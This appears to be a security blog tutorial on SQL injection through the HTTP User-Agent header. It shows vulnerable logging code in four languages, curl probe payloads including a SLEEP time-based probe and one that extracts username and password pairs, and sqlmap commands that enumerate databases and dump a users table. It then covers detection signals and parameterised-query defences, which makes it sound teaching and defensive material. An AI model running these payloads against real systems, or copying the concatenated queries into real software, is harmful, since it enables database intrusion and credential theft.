User-Agent SQL injection is the case where an application takes the User-Agent request header and concatenates it into a SQL query without parameterisation, most often when writing to a logging, analytics, or bot-detection table. The vector is unglamorous, the exploit is one line of curl, and the bug ships in a meaningful percentage of every codebase I have reviewed since 2015. This guide covers exactly how it happens, how to test for it by hand and with sqlmap, and the defences that work.
This is one of the per-vector leaves under the SQL injection deep dive and the HTTP request vector map. If you have not read the parent, the variants taxonomy lives there.
In short: User-Agent SQL injection is the case where an application reads the
User-AgentHTTP request header and concatenates the value into a SQL query instead of passing it as a parameter. It almost always happens in analytics logging or audit-trail middleware, where the developer wrote the database insert by hand instead of going through the framework's safe API. The exploit is one curl command (-H "User-Agent: ', (SELECT SLEEP(5)), '"against a normal endpoint). The fix is one parameterised query plus a maximum-length cap before storage. The default sqlmap scan misses it because sqlmap does not test headers until you raise the--levelflag to 3 or higher. This vector is over-represented in real-world findings because analytics middleware is the most under-reviewed code in nearly every codebase, and User-Agent is the longest, most attacker-controlled string the application logs.
Where does User-Agent SQL injection actually show up?
The User-Agent header appears in every HTTP request a browser or HTTP client sends. Backend applications read it for three common reasons:
- Analytics logging. "Which browsers visit us, which versions, which OS." Writes a row per request to a
page_viewsoreventstable. - Audit logging. "Who did what from which browser." Writes a row per privileged action to an
audit_logtable. - Bot detection / feature gating. "Is this a crawler or a real user." Reads a
bot_signaturestable looking for a match against the incoming UA.
Cases 1 and 2 are the dangerous ones because the UA value travels into an INSERT. Case 3 is dangerous too but rarer in practice because the bot-detection logic is usually parameterised by default.
The vulnerable code
The pattern I see most often, in PHP:
$ua = $_SERVER['HTTP_USER_AGENT'];
$ip = $_SERVER['REMOTE_ADDR'];
$path = $_SERVER['REQUEST_URI'];
$sql = "INSERT INTO page_views (path, user_agent, ip, viewed_at)
VALUES ('$path', '$ua', '$ip', NOW())";
mysqli_query($conn, $sql);Three values, all attacker-controlled, all concatenated. The bug is in the middle position. An attacker sends a User-Agent of ', (SELECT GROUP_CONCAT(username, ':', password) FROM users), ' and the resulting query writes the entire user table into the analytics table's UA column. The attacker then visits an admin analytics dashboard (or just reads the same column back via another endpoint) and exfiltrates the credentials.
The equivalent in Python with sqlite3:
ua = request.headers.get('User-Agent', '')
conn.execute(
f"INSERT INTO page_views (path, user_agent) VALUES ('{request.path}', '{ua}')"
)In Ruby/Rails when someone reaches for find_by_sql:
ua = request.user_agent
PageView.connection.execute(
"INSERT INTO page_views (path, user_agent) VALUES ('#{request.path}', '#{ua}')"
)
In Node.js with a raw pg query:
const ua = req.headers['user-agent'];
await pool.query(
`INSERT INTO page_views (path, user_agent) VALUES ('${req.path}', '${ua}')`
);Same shape every time: a string template, no parameterisation, all three values attacker-controlled.
Why developers think it's safe
The mental model failure is identifiable and consistent. Developers treat headers as infrastructure. They escape form fields because they were taught to. They never escape headers because nobody told them to. The HTTP layer feels machine-generated. It is not. Anyone with a TCP socket can send any bytes they like as any header.
A second pattern I see often: the developer added parameterised queries to every endpoint, validated every form field, code-reviewed every API call, and then wrote a separate analytics middleware that runs after the main handler. That middleware was written in a hurry, used string concatenation because "it's just logging", and never got the same review pressure. Most of the User-Agent SQLi findings I have personally reported sit inside analytics or logging middleware.
A third pattern: the validation layer truncates fields it knows about. UA is not in the schema, so it does not get truncated. The attacker enjoys an unbounded write field that no validator touches.
How do you test User-Agent for SQL injection by hand?
Start with a boolean probe. Replace the UA with something that should change the query's truth value if the field is concatenated:
curl -s -o /dev/null -w "%{http_code}\n" \
-H "User-Agent: ' OR '1'='1" \
"https://target.example/page"Compare the response code, response time, and response size against a baseline curl with a normal UA. If anything differs, the field is suspicious.
For an INSERT context (which UA usually is, not a SELECT), boolean probes do not produce visible differences in the response because the INSERT does not return data to the user. Use an error-trigger probe instead:
curl -H "User-Agent: ', (SELECT 1/0), '" "https://target.example/page"If the response code changes from 200 to 500, the field is in a SQL context and your payload caused a database error.
For a confident time-based probe (works even when nothing else does):
curl -w "%{time_total}\n" \
-H "User-Agent: ', (SELECT IF(1=1, SLEEP(5), 0)), '" \
"https://target.example/page"If the request takes 5+ seconds, the SLEEP fired. Confirmed.
For extraction once injection is confirmed, use union-based or time-based blind technique (the PortSwigger Web Security Academy has standalone labs for each). UA injection in an INSERT context typically requires either a second-order read (the value is later read back via another endpoint into another concatenated query) or out-of-band exfiltration (DNS callback). Both are covered in the SQL injection deep dive.
What is the sqlmap command for User-Agent injection?
Two ways to test User-Agent with sqlmap.
The discovery method: raise the level to 3 and let sqlmap try every header automatically:
sqlmap -u "https://target.example/page" --level=3 --batch --random-agent--level=3 enables User-Agent and Referer testing per the sqlmap official Usage wiki. The output will identify User-Agent as the injectable parameter if the bug is there.
The explicit method: point sqlmap directly at User-Agent with -p user-agent:
sqlmap -u "https://target.example/page" -p user-agent --level=3 --batchFaster than the discovery method because it skips testing other parameters.
The explicit injection-point method: mark * in a User-Agent string passed via --user-agent:
sqlmap -u "https://target.example/page" \
--user-agent="Mozilla/5.0 *" \
--batchThe * is sqlmap's "inject here" marker. Useful when the UA is parsed (e.g., the app extracts the browser name and version separately) and you only want to inject into a specific subfield.
Once injection is confirmed, the standard enumeration sequence works:
sqlmap -u "https://target.example/page" -p user-agent --level=3 --batch --dbs
sqlmap -u "https://target.example/page" -p user-agent --level=3 --batch -D target_db --tables
sqlmap -u "https://target.example/page" -p user-agent --level=3 --batch -D target_db -T users --dumpSee the sqlmap cheat sheet for the full flag reference.
Detection signals
On the defender side, these are the high-signal indicators:
- Application logs showing User-Agent values containing single quotes, comment markers (
--,/*), SQL keywords (UNION,SELECT,SLEEP), or unusual length (over a few hundred bytes). Real browser UAs cap around 250 bytes; anything significantly longer is suspicious. - Database slow-query log showing INSERT statements that took unusually long. A SLEEP-based blind injection extracting characters one at a time produces a steady cadence of slow INSERTs.
- WAF logs flagging payload patterns inside headers. Most commercial WAFs catch the obvious payloads; tamper-script obfuscation will defeat them.
information_schemaaccess from the application database user. This is the single highest-value SQLi detection rule, and it fires across every vector. UA injection that has progressed to enumeration will hit this.
A reasonable monitoring rule: alert on any HTTP request with a User-Agent longer than 500 bytes. Real-world UAs are nowhere near that. Exploitation payloads usually are.
How do you defend against User-Agent SQL injection?
Two changes. Both required:
Parameterise the logging query. The same parameterised-query rule that applies to every other database call applies here. The OWASP SQL Injection Prevention Cheat Sheet is the canonical reference for every stack. PHP with PDO:
$stmt = $pdo->prepare("
INSERT INTO page_views (path, user_agent, ip, viewed_at)
VALUES (?, ?, ?, NOW())
");
$stmt->execute([$_SERVER['REQUEST_URI'], $_SERVER['HTTP_USER_AGENT'], $_SERVER['REMOTE_ADDR']]);Python with the standard DB-API:
conn.execute(
"INSERT INTO page_views (path, user_agent, ip) VALUES (?, ?, ?)",
(request.path, request.headers.get('User-Agent', ''), request.remote_addr)
)Node.js with node-postgres:
await pool.query(
'INSERT INTO page_views (path, user_agent, ip) VALUES ($1, $2, $3)',
[req.path, req.headers['user-agent'], req.ip]
);Apply a maximum length before storage. This does not "fix" SQLi (parameterised queries do), but it bounds the blast radius for any other class of bug that might exploit the same field, and it gives detection something to alert on:
ua = (request.headers.get('User-Agent') or '')[:500]500 bytes is a generous ceiling that accommodates legitimate UAs (which top out around 250) and rejects payloads that need to carry SQL keywords plus extraction logic.
Defence at the infrastructure level
- WAF rules on header content. Block requests where User-Agent matches obvious payload patterns: single quotes followed by SQL keywords, presence of comment markers, length over a threshold. Defence in depth, not the primary control.
- Schema constraints. Declare the
user_agentcolumn asVARCHAR(500)(or whatever you decide) at the schema level. The database enforces truncation regardless of what the application does. - Logging table on a least-privilege connection. The analytics database user should have INSERT on
page_viewsand nothing else. No SELECT onusers, no SELECT oninformation_schema. If the SQLi succeeds, the attacker can write to one table and read from nothing.
Common defence mistakes
- Escaping the UA with
addslashesormysql_real_escape_stringand calling it done. Escaping is not a substitute for parameterisation. Numeric contexts and edge cases routinely defeat escaping. Parameterise. - "User-Agent comes from the browser, so we trust it." No. User-Agent is a header. Anyone can send any bytes.
- Filtering out the word
UNIONand assuming nothing else can hurt you. Time-based blind injection uses none of the keywords developers blacklist. The defence is parameterisation, not keyword denylists. - Letting the analytics middleware use the same database user as the main app. Limits your blast-radius reduction. Use a separate, least-privilege account.
- Truncating without parameterising. Truncation alone does not prevent SQLi if the truncated payload still produces a meaningful query (300 bytes is plenty for time-based extraction).
Real-world incidents
The pattern recurs in publicly disclosed CVEs every year. A few from the recent window:
- 1Panel SQL injection via User-Agent (pre-1.10.12-lts). The Linux server management UI shipped a SQL injection in the code path that handled the
User-Agentheader value during request logging. Patched by version 1.10.12-lts. (NVD CVE listing) - CVE-2025-9807, The Events Calendar (WordPress). Time-based SQL injection through a publicly accessible parameter that fed an unparameterised query, including User-Agent in some configurations. Affected up to 6.15.1, fixed in 6.15.1.1. (Hadrian write-up)
- The Patchstack WordPress database lists dozens of analytics, audit, and stats plugins with SQL injection bugs in their visitor-tracking middleware between 2023 and 2026. The signature is consistent: a hand-rolled INSERT into a
visitsorpage_viewstable with theUser-Agentvalue concatenated into the SQL string. (Patchstack vulnerability database)
Where to go next
- Cookie SQL injection, the next-most-common header vector
- Referer header SQL injection, same shape as User-Agent
- X-Forwarded-For SQL injection, the geolocation and audit lookup vector
- HTTP request vector map, the parent listicle
- SQL injection deep dive, the spoke with the variant taxonomy
- sqlmap cheat sheet for the full flag reference
Sources
Authoritative references this article was fact-checked against.
- OWASP, SQL Injectionowasp.org
- CWE-89: Improper Neutralization of Special Elements used in an SQL Commandcwe.mitre.org
- sqlmap Usage wiki (official)github.com





